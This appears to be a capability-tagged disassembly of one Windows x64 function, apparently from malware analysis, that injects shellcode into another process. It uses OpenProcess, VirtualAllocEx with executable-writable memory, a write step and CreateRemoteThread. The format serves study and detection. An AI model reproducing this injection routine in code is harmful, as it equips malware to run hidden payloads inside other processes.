Function at 0x140280580
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0xd0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x48], rax
lea rcx, [0x14036bd30]
call fcn.1400ed0e0
mov rdx, rax
lea rcx, [0x140382478]
call fcn.1400efe80
mov rdx, rax
lea rcx, [0x140382450]
xor r8d, r8d
call fcn.140280bd0
lea rcx, [0x14036bd30]
call fcn.1400ed0e0
mov rcx, rax
call fcn.1402804d0
lea rcx, [0x140385f90]
lea rdx, [0x14036dc40]
call fcn.1401f5000
mov rdx, rax
lea r8, [rbp - 0x48]
lea rcx, [0x1403ba5f0]
call fcn.14035a000
mov rbx, rax
test rbx, rbx
jne 0x140280634
lea rcx, [0x140382450]
lea rdx, [0x14037e918]
mov r8d, 2
call fcn.140280bd0
xor esi, esi
jmp 0x1402808b9
mov rcx, rbx
call fcn.1401f4370
mov rdx, rax
lea rcx, [0x1403ba720]
call fcn.140359f70
mov rdx, rax
lea rcx, [0x1403ba748]
call fcn.14035a130
mov rsi, rax
mov rdi, qword [0x14069f8b0]
mov r8, qword [rdi + 0x10]
test r8, r8
jne 0x140280697
lea rcx, [0x14043ffa0]
call fcn.140006b10
mov r14, rax
mov rdx, qword [rdi + 8]
mov rcx, r14
call fcn.1400046f0
lea rcx, [rdi + 0x10]
mov rdx, r14
call fcn.140006d20
mov r8, r14
mov rdx, rsi
lea rcx, [0x1403ba708]
call fcn.140359e80
test eax, eax
je 0x1402806c8
lea rcx, [0x140382450]
lea rdx, [0x14038a640]
mov r8d, 2
call fcn.140280bd0
jmp 0x14028062d
lea rcx, [0x140382450]
lea rdx, [0x1403824a8]
xor r8d, r8d
call fcn.140280bd0
mov rcx, rbx
mov edx, 1
call fcn.1401f4760
mov r8d, dword [rbx + 0xd0]
mov dword [rbp - 0x4c], r8d
mov ecx, 0xffff
mov dword [rbp - 0x50], ecx
xor edx, edx
mov dword [rbp - 0x54], edx
lea rcx, [rbp - 0x98]
call fcn.140006fa0
mov r8d, dword [rbp - 0x4c]
mov ecx, dword [rbp - 0x50]
mov edx, dword [rbp - 0x54]
call sub.KERNEL32.dll_OpenProcess
mov rbx, rax
lea rcx, [rbp - 0x98]
call fcn.140006ff0
lea rcx, [0x1403a8bf8]
call fcn.14027ff00
mov rcx, rax
lea rdx, [0x1403849e0]
call fcn.14027ff70
mov rsi, rax
lea rcx, [0x14036bd30]
call fcn.1400ed0e0
mov edi, dword [rax + 8]
inc edi
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov qword [rbp - 0x5c], rcx
mov r8d, edi
mov dword [rbp - 0x54], r8d
xor edx, edx
mov qword [rbp - 0x64], rdx
mov r9d, 0x3000
mov dword [rbp - 0x50], r9d
lea rcx, [rbp - 0x98]
call fcn.140006fa0
mov rcx, qword [rbp - 0x5c]
mov r8d, dword [rbp - 0x54]
mov rdx, qword [rbp - 0x64]
mov r9d, dword [rbp - 0x50]
call sub.KERNEL32.dll_VirtualAllocEx
mov rdi, rax
lea rcx, [rbp - 0x98]
call fcn.140006ff0
call sub.KERNEL32.dll_GetLastError
mov r14d, eax
call fcn.1400039b4
mov dword [rax + 0xd8], r14d
lea rcx, [0x1403be550]
cmp qword [rcx - 8], 0
jne 0x1402808d1
mov rcx, qword [0x14069f138]
mov r14, qword [rcx + 8]
lea rcx, [0x14036bd30]
call fcn.1400ed0e0
mov rdx, rax
mov rcx, r14
cmp dword [rcx], ecx
call fcn.1401b35c0
mov r14, rax
lea rcx, [0x14036bd30]
call fcn.1400ed0e0
mov r9d, dword [rax + 8]
inc r9d
lea r8, [rbp - 0x40]
mov qword [rsp + 0x20], r8
mov r8, r14
mov rcx, rbx
mov rdx, rdi
call fcn.140280090
lea rcx, [0x140382450]
lea rdx, [0x1403738d0]
xor r8d, r8d
call fcn.140280bd0
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x30], rcx
mov rcx, rbx
mov qword [rbp - 0x64], rcx
mov r9, rsi
mov qword [rbp - 0x5c], r9
xor edx, edx
mov qword [rbp - 0x6c], rdx
xor r8d, r8d
mov dword [rbp - 0x50], r8d
lea rcx, [rbp - 0x98]
call fcn.140006fa0
mov rcx, qword [rbp - 0x64]
mov r9, qword [rbp - 0x5c]
mov rdx, qword [rbp - 0x6c]
mov r8d, dword [rbp - 0x50]
call sub.KERNEL32.dll_CreateRemoteThread
lea rcx, [rbp - 0x98]
call fcn.140006ff0
lea rcx, [0x140382450]
lea rdx, [0x14038cab8]
xor r8d, r8d
call fcn.140280bd0
mov esi, 1
movzx eax, sil
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140002410
jmp 0x1402807df